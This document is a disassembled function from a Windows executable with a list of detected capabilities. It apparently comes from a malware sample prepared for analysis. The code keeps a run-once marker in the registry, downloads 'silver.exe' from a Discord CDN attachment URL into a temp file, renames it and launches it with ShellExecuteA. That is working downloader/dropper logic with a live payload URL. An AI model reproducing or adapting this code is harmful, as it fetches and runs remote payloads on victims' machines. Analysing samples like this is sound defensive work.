Function at 0x1400014d0
Capabilities:
Check if file exists
Create process on windows
Delete file
Download url
Get common file path
Get file attributes
Move file
Query or enumerate registry value
Receive data
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x548]
sub rsp, 0x620
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x14000a040]
xor rax, rsp
mov qword [rbp + 0x500], rax
xor edi, edi
mov dword [rsp + 0x50], edi
xorps xmm0, xmm0
movups xmmword [rbp + 0x98], xmm0
mov qword [rbp + 0xa8], rdi
mov qword [rbp + 0xb0], rdi
mov r8d, 0xb6
lea rdx, str.https:__cdn.discordapp.com_attachments_1191467755946397878_1197301411894005780_silver.exe_ex65bac4d5is65a84fd5hmdd45a829d77bc2e65d20876a89e7467b7734eb77bc50acda02167ea9c0f0ded9
lea rcx, [rbp + 0x98]
call fcn.140003ab0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x68], xmm1
lea r8d, [rdi + 0x11]
lea rdx, str.SoftwareYourApp3
lea rcx, [rbp + 0x58]
call fcn.140003ab0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x48], xmm1
lea r8d, [rdi + 8]
lea rdx, str.Executed
lea rcx, [rbp + 0x38]
call fcn.140003ab0
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x20], rdi
mov qword [rbp - 0x18], rdi
lea r8d, [rdi + 3]
lea rdx, [0x1400066ec]
lea rcx, [rbp - 0x30]
call fcn.140003ab0
nop
lea rdx, [rbp + 0x58]
cmp qword [rbp + 0x70], 0xf
cmova rdx, qword [rbp + 0x58]
lea rax, [rbp - 0x80]
mov qword [rsp + 0x20], rax
mov r15d, 1
mov r9d, r15d
xor r8d, r8d
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov r13, qword [rbp + 0xb0]
mov r12, qword [rbp + 0x98]
lea rbx, [rdi - 1]
test eax, eax
jne 0x14000172e
mov dword [rbp - 0x10], 0xff
lea rdx, [rbp + 0x38]
cmp qword [rbp + 0x50], 0xf
cmova rdx, qword [rbp + 0x38]
lea rax, [rbp - 0x10]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x2e0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rcx, qword [rbp - 0x80]
test eax, eax
jne 0x140001724
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xorps xmm0, xmm0
movups xmmword [rbp + 0x18], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x28], xmm1
lea rax, [rbp + 0x2e0]
mov r8, rbx
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140001660
lea rdx, [rbp + 0x2e0]
lea rcx, [rbp + 0x18]
call fcn.140003ab0
lea rdx, [rbp - 0x30]
cmp qword [rbp - 0x18], 0xf
cmova rdx, qword [rbp - 0x30]
lea rcx, [rbp + 0x18]
mov rdi, qword [rbp + 0x18]
mov rsi, qword [rbp + 0x30]
cmp rsi, 0xf
cmova rcx, rdi
mov r8, qword [rbp + 0x28]
cmp r8, qword [rbp - 0x20]
jne 0x1400016b5
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400016b5
movzx r14d, r15b
jmp 0x1400016b8
xor r14b, r14b
cmp rsi, 0xf
jbe 0x1400016f2
lea rdx, [rsi + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x1400016ea
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400016ea
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rdi
call fcn.14000442c
test r14b, r14b
je 0x14000172c
lea rdx, str.Program_has_already_been_executed._Exiting...
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003790
mov rcx, rax
lea rdx, [0x140003960]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor esi, esi
mov r15d, esi
jmp 0x140002251
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x14000172e
xor edi, edi
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r9d, eax
mov eax, 0x66666667
imul r9d
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
add ecx, ecx
xorps xmm0, xmm0
cmp r9d, ecx
jne 0x14000179a
movups xmmword [rbp - 8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 8], xmm1
mov r8d, 0xb6
lea rdx, str.https:__cdn.discordapp.com_attachments_1191467755946397878_1197301411894005780_silver.exe_ex65bac4d5is65a84fd5hmdd45a829d77bc2e65d20876a89e7467b7734eb77bc50acda02167ea9c0f0ded9
lea rcx, [rbp - 8]
call fcn.140003ab0
lea rdx, [rbp - 8]
mov edi, r15d
mov dword [rsp + 0x50], r15d
jmp 0x14000188b
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], rdi
mov qword [rbp - 0x58], rdi
lea r14, [rbp + 0x98]
cmp r13, 0xf
cmova r14, r12
movabs rdi, 0x7fffffffffffffff
mov rsi, qword [rbp + 0xa8]
cmp rsi, rdi
ja 0x1400023b0
mov qword [rbp - 0x58], 0xf
cmp rsi, 0xf
ja 0x1400017ee
mov qword [rbp - 0x60], rsi
movups xmm0, xmmword [r14]
movups xmmword [rbp - 0x70], xmm0
jmp 0x14000187e
mov rax, rsi
or rax, 0xf
cmp rax, rdi
jbe 0x14000182a
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400043f0
mov rcx, rax
test rax, rax
je 0x140002243
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140001863
mov rdi, rax
mov ecx, 0x16
cmp rax, rcx
cmovb rdi, rcx
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x140001855
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400023b6
jmp 0x140001808
test rcx, rcx
je 0x140001861
call fcn.1400043f0
jmp 0x140001863
xor eax, eax
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x60], rsi
mov qword [rbp - 0x58], rdi
lea r8, [rsi + 1]
mov rdx, r14
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rdx, [rbp - 0x70]
mov edi, 2
mov dword [rsp + 0x50], edi
lea rcx, [rbp + 0x18]
call fcn.140003200
nop
test dil, 2
je 0x1400018dd
and edi, 0xfffffffd
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x1400018dd
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400018d7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400018d7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000442c
nop
test dil, 1
je 0x140001924
and edi, 0xfffffffe
mov rdx, qword [rbp + 0x10]
cmp rdx, 0xf
jbe 0x140001924
inc rdx
mov rcx, qword [rbp - 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000191f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000191f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000442c
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x2e0]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0x2e0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
lea r9, [rbp + 0x3f0]
xor r8d, r8d
lea rdx, [0x1400066f0]
lea rcx, [rbp + 0x2e0]
call qword [sym.imp.KERNEL32.dll_GetTempFileNameA]
test eax, eax
je 0x1400021ed
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
xor esi, esi
mov qword [rbp - 0x40], rsi
mov qword [rbp - 0x38], rsi
lea rax, [rbp + 0x3f0]
nop dword [rax + rax]
inc rbx
cmp byte [rax + rbx], sil
jne 0x140001990
mov r8, rbx
lea rdx, [rbp + 0x3f0]
lea rcx, [rbp - 0x50]
call fcn.140003ab0
nop
lea r8, [rbp - 0x50]
cmp qword [rbp - 0x38], 0xf
cmova r8, qword [rbp - 0x50]
lea rdx, [rbp + 0x18]
cmp qword [rbp + 0x30], 0xf
cmova rdx, qword [rbp + 0x18]
mov qword [rsp + 0x20], rsi
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ebx, eax
test eax, eax
jns 0x140001a31
lea rdx, str.Error_downloading_file:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140003790
mov rcx, rax
lea rdx, [0x140001290]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
mov rcx, rax
lea rdx, [0x140003960]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp - 0x50]
cmp qword [rbp - 0x38], 0xf
cmova rcx, qword [rbp - 0x50]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, [rbp - 0x50]
cmp qword [rbp - 0x38], 0xf
cmova rcx, qword [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x140001a57
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140001a31
mov rax, qword [rbp - 0x40]
lea r8, [rax - 3]
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x70], xmm1
cmp rax, r8
cmovb r8, rax
lea rdx, [rbp - 0x50]
cmp qword [rbp - 0x38], 0xf
cmova rdx, qword [rbp - 0x50]
lea rcx, [rsp + 0x60]
call fcn.140003ab0
or edi, 4
mov rcx, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x78]
mov rax, rdx
sub rax, rcx
cmp rax, 3
jb 0x140001ae3
lea rax, [rcx + 3]
mov qword [rsp + 0x70], rax
lea rbx, [rsp + 0x60]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x60]
add rbx, rcx
mov r8d, 3
lea rdx, [0x1400066f4]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 3], 0
lea rax, [rsp + 0x60]
jmp 0x140001afb
mov qword [rsp + 0x20], 3
mov edx, 3
lea rcx, [rsp + 0x60]
call fcn.140003d10
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x60], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
or edi, 8
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x140001b6b
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001b66
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001b66
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000442c
movdqa xmm0, xmmword [0x140006820]
movdqu xmmword [rsp + 0x70], xmm0
mov byte [rsp + 0x60], 0
lea rdx, [rbp - 0x70]
cmp qword [rbp - 0x58], 0xf
cmova rdx, qword [rbp - 0x70]
lea rcx, [rbp - 0x50]
cmp qword [rbp - 0x38], 0xf
cmova rcx, qword [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_MoveFileA]
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0x1d0]
call sub.VCRUNTIME140.dll_memset
lea rbx, [rbp - 0x70]
cmp qword [rbp - 0x58], 0xf
cmova rbx, qword [rbp - 0x70]
lea rax, [0x140000000]
lea rax, [rax + 0x6800]
mov qword [rbp + 0x1d0], rax
lea rcx, [rbp + 0x280]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
or edi, 0x10
mov dword [rsp + 0x50], edi
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x1d0]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rbp + 0x1d0]
movsxd rcx, dword [rax + 4]
lea r14, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x1d0], r14
mov rax, qword [rbp + 0x1d0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x1cc], edx
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rbp + 0x1e0], rax
mov byte [rbp + 0x25c], 0
mov byte [rbp + 0x251], 0
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rbp + 0x260], rsi
mov rax, qword [0x14000a9f0]
mov qword [rbp + 0x254], rax
mov qword [rbp + 0x248], rsi
mov r8d, r15d
mov rdx, rbx
lea rcx, [rbp + 0x1e0]
call fcn.140003650
test rax, rax
jne 0x140001cc5
mov rax, qword [rbp + 0x1d0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x1d0]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rax, qword [rbp + 0x1d0]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x1d0], r14
mov rax, qword [rbp + 0x1d0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x1cc], edx
mov qword [rsp + 0x60], rsi
mov word [rsp + 0x68], 1
mov rax, qword [rbp + 0x1d0]
movsxd rcx, dword [rax + 4]
mov rcx, qword [rbp + rcx + 0x218]
mov qword [rbp - 0x80], rcx
test rcx, rcx
sete byte [rbp - 0x78]
mov byte [rbp - 0x77], 0
xorps xmm0, xmm0
movups xmmword [rbp - 8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 8], xmm1
movaps xmm0, xmmword [rbp - 0x80]
movaps xmmword [rbp - 0x80], xmm0
movaps xmm6, xmmword [rsp + 0x60]
test rcx, rcx
je 0x140001d6c
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::sgetc_void____ptr64]
cmp eax, 0xffffffff
je 0x140001d5b
mov byte [rbp - 0x77], al
mov rax, qword [rbp - 0x80]
mov byte [rbp - 0x78], 1
movaps xmm0, xmmword [rbp - 0x80]
jmp 0x140001d71
mov rax, rsi
mov qword [rbp - 0x80], rax
mov byte [rbp - 0x78], 1
movaps xmm0, xmmword [rbp - 0x80]
jmp 0x140001d71
movq rax, xmm0
test rax, rax
movq rax, xmm6
jne 0x14000208d
test rax, rax
je 0x140002096
movdqa xmmword [rsp + 0x60], xmm6
movdqa xmmword [rbp - 0x80], xmm0
lea r8, [rsp + 0x60]
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 8]
call fcn.140003ec0
nop
lea rcx, [rbp + 0x1e0]
call fcn.140003560
test rax, rax
jne 0x140001dd9
mov rax, qword [rbp + 0x1d0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x1d0]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rdx, [rbp - 8]
lea rcx, [rbp + 0x78]
call fcn.1400012b0
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0xc0]
call sub.VCRUNTIME140.dll_memset
lea rbx, [rbp - 0x70]
cmp qword [rbp - 0x58], 0xf
cmova rbx, qword [rbp - 0x70]
lea rax, [0x140000000]
lea rax, [rax + 0x67f8]
mov qword [rbp + 0xc0], rax
lea rcx, [rbp + 0x168]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
or edi, 0x20
mov dword [rsp + 0x50], edi
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0xc8]
lea rcx, [rbp + 0xc0]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea rdi, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0xc0], rdi
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0xbc], edx
lea rcx, [rbp + 0xc8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rbp + 0xc8], rax
mov byte [rbp + 0x144], 0
mov byte [rbp + 0x139], 0
lea rcx, [rbp + 0xc8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rbp + 0x148], rsi
mov rax, qword [0x14000a9f0]
mov qword [rbp + 0x13c], rax
mov qword [rbp + 0x130], rsi
mov r8d, 2
mov rdx, rbx
lea rcx, [rbp + 0xc8]
call fcn.140003650
test rax, rax
jne 0x140001f0f
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0xc0]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0xc0], rdi
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0xbc], edx
lea rdx, [rbp + 0x78]
cmp qword [rbp + 0x90], 0xf
cmova rdx, qword [rbp + 0x78]
mov r8, qword [rbp + 0x88]
lea rcx, [rbp + 0xc0]
call fcn.140004130
lea rcx, [rbp + 0xc8]
call fcn.140003560
test rax, rax
jne 0x140001f91
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0xc0]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea r8, [rbp - 0x70]
cmp qword [rbp - 0x58], 0xf
cmova r8, qword [rbp - 0x70]
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rdx, [rbp + 0x58]
cmp qword [rbp + 0x70], 0xf
cmova rdx, qword [rbp + 0x58]
mov qword [rsp + 0x40], rsi
lea rax, [rbp - 0x80]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x140002044
lea rcx, [rbp - 0x30]
cmp qword [rbp - 0x18], 0xf
cmova rcx, qword [rbp - 0x30]
lea rdx, [rbp + 0x38]
cmp qword [rbp + 0x50], 0xf
cmova rdx, qword [rbp + 0x38]
mov eax, dword [rbp - 0x20]
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, r15d
xor r8d, r8d
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
lea rcx, [rbp + 0xc0]
call fcn.140002480
nop
mov rdx, qword [rbp + 0x90]
cmp rdx, 0xf
jbe 0x1400020b1
inc rdx
mov rcx, qword [rbp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400020ac
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400020ac
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
test rax, rax
je 0x140001d88
movdqa xmm0, xmmword [0x140006820]
movdqu xmmword [rbp + 8], xmm0
mov byte [rbp - 8], 0
jmp 0x140001da6
call fcn.14000442c
mov qword [rbp + 0x88], rsi
mov qword [rbp + 0x90], 0xf
mov byte [rbp + 0x78], 0
mov rdx, qword [rbp + 0x10]
cmp rdx, 0xf
jbe 0x140002105
inc rdx
mov rcx, qword [rbp - 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002100
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002100
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000442c
movdqa xmm0, xmmword [0x140006820]
movdqu xmmword [rbp + 8], xmm0
mov byte [rbp - 8], 0
lea rcx, [rbp + 0x1d0]
call fcn.1400023c0
nop
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x140002161
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000215c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000215c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000442c
movdqa xmm0, xmmword [0x140006820]
movdqu xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x70], 0
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x1400021b1
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400021ab
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400021ab
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000442c
nop
mov rdx, qword [rbp + 0x30]
cmp rdx, 0xf
jbe 0x1400021e8
inc rdx
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400021e3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002243
call fcn.14000442c
mov r15d, esi
jmp 0x140002251
lea rdx, str.Error_generating_temporary_file_name.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140003790
mov rcx, rax
lea rdx, [0x140003960]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0x30]
cmp rdx, 0xf
jbe 0x14000224f
inc rdx
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000224a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000224a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000442c
xor esi, esi
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x14000228f
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000228a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000228a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000442c
mov qword [rbp - 0x20], rsi
mov qword [rbp - 0x18], 0xf
mov byte [rbp - 0x30], 0
mov rdx, qword [rbp + 0x50]
cmp rdx, 0xf
jbe 0x1400022dd
inc rdx
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400022d8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400022d8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000442c
movdqa xmm0, xmmword [0x140006820]
movdqu xmmword [rbp + 0x48], xmm0
mov byte [rbp + 0x38], 0
mov rdx, qword [rbp + 0x70]
cmp rdx, 0xf
jbe 0x14000232c
inc rdx
mov rcx, qword [rbp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002327
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002327
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000442c
movdqa xmm0, xmmword [0x140006820]
movdqu xmmword [rbp + 0x68], xmm0
mov byte [rbp + 0x58], 0
cmp r13, 0xf
jbe 0x140002378
lea rdx, [r13 + 1]
mov rax, r12
cmp rdx, 0x1000
jb 0x140002370
add rdx, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002370
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r12
call fcn.14000442c
mov eax, r15d
mov rcx, qword [rbp + 0x500]
xor rcx, rsp
call fcn.1400043d0
lea r11, [rsp + 0x620]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400011b0
nop
call fcn.140001110
int3